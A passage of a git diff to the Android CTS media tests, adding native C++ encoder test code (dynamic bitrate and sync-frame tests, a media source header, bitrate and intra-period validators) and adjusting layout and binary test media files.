+            hasDynamicSyncRequest | hasDynamicBitrateChanges, /*regulate feeding rate*/
+            fd, offset, fileSize);
+
+    std::unique_ptr<RunConfig> runConfig = std::make_unique<RunConfig>(numFrames, config);
+    for (const DParamRef &d : dynParams) {
+        runConfig->add(d);
+    }
+
+    std::string debugOutputFileName = "";
+    std::shared_ptr<NativeEncoder> enc(new NativeEncoder(debugOutputFileName));
+
+    if (usePersistentSurface) {
+        std::shared_ptr<ANativeWindow> persistentSurface = enc->getPersistentSurface();
+        enc->prepare(std::move(runConfig), persistentSurface);
+        src->prepare(nullptr /*bufferListener*/, persistentSurface);
+    } else {
+        enc->prepare(std::move(runConfig));
+        src->prepare(nullptr /*bufferListener*/, enc->getSurface());
+    }
+
+    src->start();
+    enc->start();
+
+    enc->waitForCompletion();
+
+    Status status = enc->validate();
+
+    src->stop();
+    enc->reset();
+
+    return status == OK;
+}
+
+extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceNative(
+        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
+        jstring jmime, int w, int h) {
+
+    std::vector<DParamRef> dynParams;
+    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
+            dynParams, 300, false /*usePersistentSurface*/);
+
+}
+
+extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodePersistentSurfaceNative(
+        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
+        jstring jmime, int w, int h) {
+
+    std::vector<DParamRef> dynParams;
+    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
+            dynParams, 300, true /*usePersistentSurface*/);
+}
+
+extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceDynamicSyncFrameNative(
+        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
+        jstring jmime, int w, int h) {
+
+    std::vector<DParamRef> dynParams;
+    for (int32_t frameNum : {40, 75, 160, 180, 250}) {
+        dynParams.push_back(DynamicParam::newRequestSync(frameNum));
+    }
+
+    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
+            dynParams, 300, false /*usePersistentSurface*/);
+}
+
+extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceDynamicBitrateNative(
+        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
+        jstring jmime, int w, int h) {
+
+    int32_t bitrate = getOptimalBitrate(w, h);
+    std::vector<DParamRef> dynParams;
+
+    dynParams.push_back(DynamicParam::newBitRate(100,  bitrate/2));
+    dynParams.push_back(DynamicParam::newBitRate(200,  3*bitrate/4));
+    dynParams.push_back(DynamicParam::newBitRate(300,  bitrate));
+
+    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
+            dynParams, 400, false /*usePersistentSurface*/);
+}
+
diff --git a/tests/tests/media/libmediandkjni/native_media_source.h b/tests/tests/media/libmediandkjni/native_media_source.h
new file mode 100644
index 0000000..4320aed
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/native_media_source.h
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef _NATIVE_MEDIA_SOURCE_H_
+#define _NATIVE_MEDIA_SOURCE_H_
+
+#include <stdlib.h>
+#include <stdint.h>
+#include <memory>
+#include <string>
+
+#include <android/native_window_jni.h>
+
+#include "media/NdkMediaFormat.h"
+#include "media/NdkMediaExtractor.h"
+#include "media/NdkMediaCodec.h"
+#include "media/NdkMediaMuxer.h"
+
+#include "native_media_utils.h"
+using Utils::Thread;
+using Utils::Status;
+
+class Source {
+public:
+    Source(int32_t w, int32_t h, int32_t colorFormat, float fps, bool looping)
+        : mWidth(w),
+          mHeight(h),
+          mColorFormat(colorFormat),
+          mFps(fps),
+          mLooping(looping),
+          mBufListener(nullptr) {
+    }
+    virtual ~Source() = default;
+
+    class Listener {
+    public:
+        virtual void onBufferAvailable(
+            uint8_t *buffer, int32_t size, int64_t timeStampUs, uint32_t flags) = 0;
+        virtual ~Listener() = default;
+    };
+    virtual Status prepare(std::shared_ptr<Listener> l, std::shared_ptr<ANativeWindow> n) = 0;
+    virtual Status start() = 0;
+    virtual Status stop() = 0;
+
+protected:
+    int32_t mWidth;
+    int32_t mHeight;
+    int32_t mColorFormat;
+    float mFps;
+    bool mLooping;
+    std::shared_ptr<Listener> mBufListener;
+    std::shared_ptr<ANativeWindow> mSurface;
+};
+
+std::shared_ptr<Source> createDecoderSource(
+        int32_t w, int32_t h, int32_t colorFormat, float fps, bool looping,
+        bool regulateFeedingRate, /* WA for dynamic settings */
+        int sourceFileFd, off64_t sourceFileOffset, off64_t sourceFileSize);
+
+#endif // _NATIVE_MEDIA_SOURCE_H_
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.cpp b/tests/tests/media/libmediandkjni/native_media_utils.cpp
new file mode 100644
index 0000000..7596cbb
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/native_media_utils.cpp
@@ -0,0 +1,328 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "NativeMedia"
+#include <log/log.h>
+
+#include <stdlib.h>
+#include <math.h>
+#include <string>
+#include <algorithm>
+#include <iterator>
+#include "native_media_utils.h"
+
+namespace Utils {
+
+const char * TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME = "request-sync";
+const char * TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE = "video-bitrate";
+
+const char * TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE = "bitrate-mode";
+
+Status Thread::startThread() {
+    assert(mHandle == 0);
+    if (pthread_create(&mHandle, nullptr, Thread::thread_wrapper, this) != 0) {
+        ALOGE("Failed to create thread");
+        return FAIL;
+    }
+    return OK;
+}
+
+Status Thread::joinThread() {
+    assert(mHandle != 0);
+    void *ret;
+    pthread_join(mHandle, &ret);
+    return OK;
+}
+
+//static
+void* Thread::thread_wrapper(void *obj) {
+    assert(obj != nullptr);
+    Thread *t = reinterpret_cast<Thread *>(obj);
+    t->run();
+    return nullptr;
+}
+
+int32_t RunConfig::dynamicParamsOfKind(
+        const char *key, std::vector<DParamRef>& paramsList) const {
+    paramsList.clear();
+    for (const DParamRef& d : mParams) {
+        assert(d->param() != nullptr);
+
+        if (!strncmp(key, TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME,
+                strlen(TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME))) {
+            int32_t tmp;
+            if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, &tmp)) {
+                paramsList.push_back(d);
+            }
+
+        } else if (!strncmp(key, TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE,
+                strlen(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE))) {
+            int32_t tmp;
+            if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &tmp)) {
+                paramsList.push_back(d);
+            }
+        }
+    }
+    return (int32_t)paramsList.size();
+}
+
+static bool comparePTS(const AMediaCodecBufferInfo& l, const AMediaCodecBufferInfo& r) {
+    return l.presentationTimeUs < r.presentationTimeUs;
+}
+
+int32_t Stats::getBitrateAverage(int32_t frameNumFrom, int32_t frameNumTo) const {
+    int64_t sum = 0;
+    assert(frameNumFrom >= 0 && frameNumTo < mInfos.size());
+    for (int i = frameNumFrom; i < frameNumTo; ++i) {
+        sum += mInfos[i].size;
+    }
+    sum *= 8; // kB -> kb
+
+    auto from = mInfos.begin() + frameNumFrom;
+    auto to = mInfos.begin() + frameNumTo;
+    int64_t duration = (*std::max_element(from, to, comparePTS)).presentationTimeUs
+            - (*std::min_element(from, to, comparePTS)).presentationTimeUs;
+    if (duration <= 0) {
+        return 0;
+    }
+
+    int64_t avg = (sum * 1e6) / duration;
+    return (int32_t)avg;
+}
+
+int32_t Stats::getBitratePeak(
+        int32_t frameNumFrom, int32_t frameNumTo, int32_t windowSize) const {
+    int64_t sum = 0;
+    int64_t maxSum = 0;
+    assert(frameNumFrom >= 0 && frameNumTo < mInfos.size());
+    assert(windowSize < (frameNumTo - frameNumFrom));
+
+    for (int i = frameNumFrom; i < frameNumTo; ++i) {
+        sum += mInfos[i].size;
+        if (i >= windowSize) {
+            sum -= mInfos[i - windowSize].size;
+        }
+        maxSum = sum > maxSum ? sum : maxSum;
+    }
+    maxSum *= 8; // kB -> kb
+    int64_t duration = mInfos[frameNumTo].presentationTimeUs -
+            mInfos[frameNumFrom].presentationTimeUs;
+    if (duration <= 0) {
+        return 0;
+    }
+
+    int64_t peak = (maxSum * 1e6) / duration;
+    return (int32_t)peak;
+}
+
+int32_t Stats::getSyncFrameNext(int32_t frameNumWhence) const {
+    assert(frameNumWhence >= 0 && frameNumWhence < mInfos.size());
+    int i = frameNumWhence;
+    for (; i < (int)mInfos.size(); ++i) {
+        if (mInfos[i].flags & TBD_AMEDIACODEC_BUFFER_FLAG_KEY_FRAME) {
+            return i;
+        }
+    }
+    return -1;
+}
+
+Status Validator::checkOverallBitrate(const Stats &stats, const RunConfig& config) {
+    // skip this check if bitrate was updated dynamically
+    ALOGV("DEBUG: checkOverallBitrate");
+    std::vector<DParamRef> tmp;
+    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, tmp) > 0) {
+        ALOGV("DEBUG: checkOverallBitrate: dynamic bitrate enabled");
+        return OK;
+    }
+
+    int32_t bitrate = 0;
+    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_BIT_RATE, &bitrate)) {
+        // should not happen
+        ALOGV("DEBUG: checkOverallBitrate: bitrate was not configured !");
+        return FAIL;
+    }
+    assert(bitrate > 0);
+
+    int32_t avgBitrate = stats.getBitrateAverage(0, config.frameCount() - 1);
+    float deviation = (avgBitrate - bitrate) * 100 / bitrate;
+    ALOGI("RESULT: Bitrate expected=%d Achieved=%d Deviation=%.2g%%",
+            bitrate, avgBitrate, deviation);
+
+    if (fabs(deviation) > kBitrateDeviationPercentMax) {
+        ALOGI("RESULT: ERROR: bitrate deviation(%.2g%%) exceeds threshold (+/-%.2g%%)",
+                deviation, kBitrateDeviationPercentMax);
+        return FAIL;
+    }
+
+    // TODO
+    // if bitrate mode was set to CBR, check for peak-bitrate deviation (+/-20%?)
+    return OK;
+}
+
+Status Validator::checkFramerate(const Stats&, const RunConfig&) {
+    // TODO - tricky if frames are reordered
+    return OK;
+}
+
+Status Validator::checkIntraPeriod(const Stats& stats, const RunConfig& config) {
+    float framerate;
+    if (!AMediaFormat_getFloat(config.format(), AMEDIAFORMAT_KEY_FRAME_RATE, &framerate)) {
+        // should not happen
+        ALOGV("DEBUG: checkIntraPeriod: framerate was not configured ! : %s",
+                AMediaFormat_toString(config.format()));
+        return OK;
+    }
+
+    int32_t intraPeriod;
+    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_I_FRAME_INTERVAL, &intraPeriod)) {
+        // should not happen
+        ALOGV("DEBUG: checkIntraPeriod: I-period was not configured !");
+        return OK;
+    }
+
+    // TODO: handle special cases
+    // intraPeriod = 0  => all I
+    // intraPeriod < 0  => infinite GOP
+    if (intraPeriod <= 0) {
+        return OK;
+    }
+
+    int32_t iInterval = framerate * intraPeriod;
+
+    if (iInterval >= stats.frameCount()) {
+        ALOGV("RESULT: Intra-period %d exceeds frame-count %d ..skipping",
+                iInterval, stats.frameCount());
+        return OK;
+    }
+
+    int32_t numGopFound = 0;
+    int32_t sumGopDistance = 0;
+    int32_t lastKeyLocation = stats.getSyncFrameNext(0);
+    for (;;) {
+        int32_t nextKeyLocation = stats.getSyncFrameNext(lastKeyLocation + iInterval - kSyncFrameDeviationFramesMax);
+        if (nextKeyLocation < 0) {
+            break;
+        }
+        if (abs(nextKeyLocation - lastKeyLocation - iInterval) > kSyncFrameDeviationFramesMax) {
+            ALOGE("RESULT: ERROR: Intra period at frame %d is %d (expected %d +/-%d)",
+                    lastKeyLocation, nextKeyLocation - lastKeyLocation, iInterval,
+                    kSyncFrameDeviationFramesMax);
+            return FAIL;
+        }
+        ++numGopFound;
+        sumGopDistance += (nextKeyLocation - lastKeyLocation);
+        lastKeyLocation = nextKeyLocation;
+    }
+
+    if (numGopFound) {
+        ALOGI("RESULT: Intra-period: configured=%d frames (%d sec). Actual=%d frames",
+                iInterval, intraPeriod, sumGopDistance / numGopFound);
+    }
+
+    return OK;
+}
+
+Status Validator::checkDynamicKeyFrames(const Stats& stats, const RunConfig& config) {
+    ALOGV("DEBUG: checkDynamicKeyFrames");
+    std::vector<DParamRef> keyRequests;
+    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, keyRequests) <= 0) {
+        ALOGV("DEBUG: dynamic key-frames were not requested");
+        return OK;
+    }
+
+    std::string debugStr = "";
+    bool fail = false;
+    for (DParamRef &d : keyRequests) {
+        int32_t generatedKeyLocation = stats.getSyncFrameNext(d->frameNum());
+        if (generatedKeyLocation - d->frameNum() > kSyncFrameDeviationFramesMax) {
+            ALOGI("RESULT: ERROR: Dynamic sync-frame requested at frame=%d, got at frame=%d",
+                    d->frameNum(), generatedKeyLocation);
+            fail = true;
+        }
+        char tmp[128];
+        snprintf(tmp, 128, " %d/%d,", generatedKeyLocation, d->frameNum());
+        debugStr = debugStr + std::string(tmp);
+    }
+    ALOGI("RESULT: Dynamic Key-frame locations - actual/requested :");
+    ALOGI("RESULT:         %s", debugStr.c_str());
+
+    return fail ? FAIL : OK;
+}
+
+Status Validator::checkDynamicBitrate(const Stats& stats, const RunConfig& config) {
+    // Checking bitrate convergence between two updates makes sense if requested along with CBR
+    // check if CBR mode has been set. If not, simply pass
+    int32_t bitrateMode;
+    if (!AMediaFormat_getInt32(config.format(), TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE,
+            &bitrateMode) || bitrateMode != kBitrateModeConstant) {
+        ALOGV("DEBUG: checkDynamicBitrate: skipping since CBR not requested");
+        return OK; //skip
+    }
+
+    // check if dynamic bitrates were requested
+    std::vector<DParamRef> bitrateUpdates;
+    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, bitrateUpdates) <= 0) {
+        ALOGV("DEBUG: checkDynamicBitrate: dynamic bitrates not requested !");
+        return OK; //skip
+    }
+    int32_t bitrate = 0;
+    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_BIT_RATE, &bitrate)) {
+        // should not happen
+        ALOGV("DEBUG: checkDynamicBitrate: bitrate was not configured !");
+        return OK; //skip
+    }
+    assert(bitrate > 0);
+
+    std::string debugStr = "";
+    int32_t lastBitrateUpdateFrameNum = 0;
+    int32_t lastBitrate = bitrate;
+    bool fail = false;
+
+    for (DParamRef &d : bitrateUpdates) {
+        int32_t updatedBitrate = 0;
+        if (!AMediaFormat_getInt32(
+                d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &updatedBitrate)) {
+            ALOGE("BUG: expected dynamic bitrate");
+            continue;
+        }
+        assert(updatedBitrate > 0);
+
+        int32_t lastAverage = stats.getBitrateAverage(lastBitrateUpdateFrameNum,  d->frameNum() - 1);
+        float deviation = (lastAverage - lastBitrate) * 100 / lastBitrate;
+
+        if (fabs(deviation) > kBitrateDeviationPercentMax) {
+            ALOGI("RESULT: ERROR: dynamic bitrate deviation(%.2g%%) exceeds threshold (+/-%.2g%%)",
+                    deviation, kBitrateDeviationPercentMax);
+            fail |= true;
+        }
+
+        char tmp[128];
+        snprintf(tmp, 128, "  [%d - %d] %d/%d,",
+                lastBitrateUpdateFrameNum, d->frameNum() - 1, lastAverage, lastBitrate);
+        debugStr = debugStr + std::string(tmp);
+        lastBitrate = updatedBitrate;
+        lastBitrateUpdateFrameNum = d->frameNum();
+    }
+
+    ALOGI("RESULT: Dynamic Bitrates : [from-frame  -  to-frame] actual/expected :");
+    ALOGI("RESULT:        %s", debugStr.c_str());
+
+    return fail ? FAIL : OK;
+}
+
+
+}; // namespace Utils
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.h b/tests/tests/media/libmediandkjni/native_media_utils.h
new file mode 100644
index 0000000..8559a37
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/native_media_utils.h
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef _NATIVE_MEDIA_UTILS_H_
+#define _NATIVE_MEDIA_UTILS_H_
+
+#include <pthread.h>
+#include <sys/cdefs.h>
+#include <stddef.h>
+#include <assert.h>
+#include <vector>
+
+#include <android/native_window_jni.h>
+
+#include "media/NdkMediaFormat.h"
+#include "media/NdkMediaExtractor.h"
+#include "media/NdkMediaCodec.h"
+#include "media/NdkMediaMuxer.h"
+
+namespace Utils {
+
+// constants not defined in NDK api
+extern const char * TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME;
+extern const char * TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE;
+static const uint32_t TBD_AMEDIACODEC_BUFFER_FLAG_KEY_FRAME = 0x1;
+
+extern const char * TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE;
+static const int32_t kBitrateModeConstant = 2;
+static const int32_t kColorFormatSurface = 0x7f000789;
+
+// tolerances
+static const float kBitrateDeviationPercentMax = 10.0;
+static const int32_t kSyncFrameDeviationFramesMax = 5;
+
+enum Status : int32_t {
+    FAIL = -1,
+    OK = 0,
+};
+
+class Thread {
+public:
+    Thread()
+        : mHandle(0) {
+    }
+    virtual ~Thread() {
+        assert(mExited);
+        mHandle = 0;
+    }
+    Thread(const Thread& ) = delete;
+    Status startThread();
+    Status joinThread();
+
+protected:
+    virtual void run() = 0;
+
+private:
+    static void* thread_wrapper(void *);
+    pthread_t mHandle;
+};
+
+static inline void deleter_AMediExtractor(AMediaExtractor *_a) {
+    AMediaExtractor_delete(_a);
+}
+
+static inline void deleter_AMediaCodec(AMediaCodec *_a) {
+    AMediaCodec_delete(_a);
+}
+
+static inline void deleter_AMediaFormat(AMediaFormat *_a) {
+    AMediaFormat_delete(_a);
+}
+
+static inline void deleter_AMediaMuxer(AMediaMuxer *_a) {
+    AMediaMuxer_delete(_a);
+}
+
+static inline void deleter_ANativeWindow(ANativeWindow *_a) {
+    ANativeWindow_release(_a);
+}
+
+/*
+ * Dynamic paramater that will be applied via AMediaCodec_setParamater(..)
+ *  during the encoding process, at the given frame number
+ */
+struct DynamicParam {
+    DynamicParam() = delete;
+    DynamicParam(const DynamicParam&) = delete;
+    ~DynamicParam() = default;
+
+    static std::shared_ptr<DynamicParam> newBitRate(int atFrame, int32_t bitrate) {
+        DynamicParam *d = new DynamicParam(atFrame);
+        AMediaFormat_setInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, bitrate);
+        return std::shared_ptr<DynamicParam>(d);
+    }
+    static std::shared_ptr<DynamicParam> newRequestSync(int atFrame) {
+        DynamicParam *d = new DynamicParam(atFrame);
+        AMediaFormat_setInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, 0 /*ignore*/);
+        return std::shared_ptr<DynamicParam>(d);
+    }
+
+    inline int frameNum() const {
+        return mFrameNum;
+    }
+    inline AMediaFormat *param() const {
+        return mParam.get();
+    }
+
+private:
+    DynamicParam(int _at)
+        : mFrameNum(_at) {
+        mParam = std::shared_ptr<AMediaFormat>(AMediaFormat_new(), deleter_AMediaFormat);
+    }
+
+    int mFrameNum;
+    std::shared_ptr<AMediaFormat> mParam;
+};
+
+using DParamRef = std::shared_ptr<DynamicParam>;
+
+/*
+ * Configuration to the encoder (static + dynamic)
+ */
+struct RunConfig {
+    RunConfig(const RunConfig&) = delete;
+    RunConfig(int32_t numFramesToEncode, std::shared_ptr<AMediaFormat> staticParams)
+        : mNumFramesToEncode (numFramesToEncode),
+          mStaticParams(staticParams) {
+    }
+    void add(const DParamRef& p) {
+        mParams.push_back(p);
+    }
+
+    AMediaFormat* format() const {
+        return mStaticParams.get();
+    }
+    const std::vector<DParamRef>& dynamicParams() const {
+        return mParams;
+    }
+    int32_t frameCount() const {
+        return mNumFramesToEncode;
+    }
+    int32_t dynamicParamsOfKind(
+        const char *key, std::vector<DParamRef>& ) const;
+
+private:
+    int32_t mNumFramesToEncode;
+    std::vector<DParamRef> mParams;
+    std::shared_ptr<AMediaFormat> mStaticParams;
+};
+
+/*
+ * Encoded output statistics
+ * provides helpers to compute windowed average of bitrate and search for I-frames
+ */
+struct Stats {
+    Stats() = default;
+    Stats(const Stats&) = delete;
+    void add(const AMediaCodecBufferInfo &info) {
+        mInfos.push_back(info);
+    }
+    void setOutputFormat(std::shared_ptr<AMediaFormat> fmt) {
+        mOutputFormat = fmt;
+    }
+    int32_t frameCount() const {
+        return (int32_t)mInfos.size();
+    }
+    const std::vector<AMediaCodecBufferInfo>& infos() const {
+        return mInfos;
+    }
+
+    int32_t getBitrateAverage(int32_t frameNumFrom, int32_t frameNumTo) const;
+    int32_t getBitratePeak(int32_t frameNumFrom, int32_t frameNumTo, int32_t windowSize) const;
+    int32_t getSyncFrameNext(int32_t frameNumWhence) const;
+
+private:
+    std::vector<AMediaCodecBufferInfo> mInfos;
+    std::shared_ptr<AMediaFormat> mOutputFormat;
+};
+
+/*
+ * Helpers to validate output (Stats) based on expected settings (RunConfig)
+ * Check for validity of both static and dynamic settings
+ */
+struct Validator {
+    static Status checkOverallBitrate(const Stats&, const RunConfig&);
+    static Status checkFramerate(const Stats&, const RunConfig&);
+    static Status checkIntraPeriod(const Stats&, const RunConfig&);
+    static Status checkDynamicKeyFrames(const Stats&, const RunConfig&);
+    static Status checkDynamicBitrate(const Stats&, const RunConfig&);
+};
+
+}; //namespace Utils
+
+#endif // _NATIVE_MEDIA_UTILS_H_
diff --git a/tests/tests/media/res/layout/test_runner_activity.xml b/tests/tests/media/res/layout/test_runner_activity.xml
index 8cc88ea..b8ddcf75 100644
--- a/tests/tests/media/res/layout/test_runner_activity.xml
+++ b/tests/tests/media/res/layout/test_runner_activity.xml
@@ -15,24 +15,20 @@
  * limitations under the License.
  -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
     android:orientation="vertical">
         <HorizontalScrollView
-            android:layout_width="fill_parent"
-            android:layout_height="250dp">
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content">
                 <ScrollView
                     android:layout_width="wrap_content"
-                    android:layout_height="fill_parent">
+                    android:layout_height="match_parent">
                         <RelativeLayout
                             android:id="@+id/attach_view"
-                            android:layout_width="fill_parent"
+                            android:layout_width="match_parent"
                             android:layout_height="wrap_content"
                             android:layout_gravity="start"/>
                 </ScrollView>
         </HorizontalScrollView>
-        <ListView
-            android:id="@+id/test_case_list"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"/>
 </LinearLayout>
diff --git a/tests/tests/media/res/raw/audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz.mp4 b/tests/tests/media/res/raw/audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz.mp4
new file mode 100644
index 0000000..8820340
--- /dev/null
+++ b/tests/tests/media/res/raw/audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames.mp4
new file mode 100644
index 0000000..6609614
--- /dev/null
+++ b/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/h264decodertestgolden.png b/tests/tests/media/res/raw/h264decodertestgolden.png
deleted file mode 100644
index bfaea26..0000000
--- a/tests/tests/media/res/raw/h264decodertestgolden.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/image_exif_byte_order_ii.jpg b/tests/tests/media/res/raw/image_exif_byte_order_ii.jpg
deleted file mode 100644
index 477cd3a..0000000
--- a/tests/tests/media/res/raw/image_exif_byte_order_ii.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/image_exif_byte_order_mm.jpg b/tests/tests/media/res/raw/image_exif_byte_order_mm.jpg
deleted file mode 100644
index 78ac703..0000000
--- a/tests/tests/media/res/raw/image_exif_byte_order_mm.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/lg_g4_iso_800.dng b/tests/tests/media/res/raw/lg_g4_iso_800.dng
deleted file mode 100644
index 5fcc720..0000000
--- a/tests/tests/media/res/raw/lg_g4_iso_800.dng
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/segment000001.ts b/tests/tests/media/res/raw/segment000001.ts
new file mode 100644
index 0000000..fb112ec
--- /dev/null
+++ b/tests/tests/media/res/raw/segment000001.ts
Binary files differ
diff --git a/tests/tests/media/res/raw/segment000001_scrambled.ts b/tests/tests/media/res/raw/segment000001_scrambled.ts
new file mode 100644
index 0000000..4c7d368
--- /dev/null
+++ b/tests/tests/media/res/raw/segment000001_scrambled.ts
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro.3gp
new file mode 100644
index 0000000..1fa3474
--- /dev/null
+++ b/tests/tests/media/res/raw/video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro.3gp
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_h264_408kbps_30fps_352x288_h264_122kbps_30fps.mp4 b/tests/tests/media/res/raw/video_176x144_h264_408kbps_30fps_352x288_h264_122kbps_30fps.mp4
new file mode 100644
index 0000000..42ce9a0
--- /dev/null
+++ b/tests/tests/media/res/raw/video_176x144_h264_408kbps_30fps_352x288_h264_122kbps_30fps.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1216x2160_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1216x2160_golden.png
new file mode 100644
index 0000000..5df519f
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1216x2160_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1280x544_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1280x544_golden.png
new file mode 100644
index 0000000..6140266
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1280x544_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1280x720_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1280x720_golden.png
new file mode 100644
index 0000000..03fa8bf
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1280x720_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_136x240_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_136x240_golden.png
new file mode 100644
index 0000000..20ed587
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_136x240_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1440x1080_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1440x1080_golden.png
new file mode 100644
index 0000000..8365a9c
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1440x1080_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x1080_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x1080_golden.png
new file mode 100644
index 0000000..a144793
--- /dev/null
+++ b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x1080_golden.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x1440_golden.png b/tests/tests/media/res/raw/video_decode_accuracy_and_capability_1920x1440_golden.png
new file mode 100644
index 0000000..700613d
--- /dev/null
